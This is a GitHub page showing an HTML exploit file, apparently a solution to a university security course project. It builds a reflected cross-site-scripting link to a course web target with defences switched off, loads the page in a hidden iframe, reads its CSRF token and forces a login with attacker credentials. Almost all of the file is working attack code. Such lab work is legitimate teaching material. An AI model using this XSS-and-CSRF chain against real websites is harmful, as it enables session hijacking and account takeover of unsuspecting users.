-
Notifications
You must be signed in to change notification settings - Fork 2
/
csrf_1.html
executable file
·43 lines (38 loc) · 1.16 KB
/
csrf_1.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function proxy(href) {
$("html").load(href, function(){
$("html").show();
$("input#username").val("attacker");
$("#userpass").val("l33th4x");
var user = $("input#username").val();
var pass = $("#userpass").val();
var token = $("input[name=csrf_token]").val();
$.ajax({
type: "POST",
url: "./login?csrfdefense=1&xssdefense=0",
data: { username: user, password: pass, csrf_token: token }
})
});
}
$("html").hide();
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
return target + "./search?csrfdefense=1&xssdefense=0&q=" +
encodeURIComponent("<script" + ">" + payload.toString() +
";payload(\"" + attacker + "\");</script" + ">");
}
var xssdefense = 0;
var target = "http://eecs388.org/project2/";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
var _iframe = $('<iframe />')
.attr('src', url)
.hide()
.appendTo('body');
});
</script>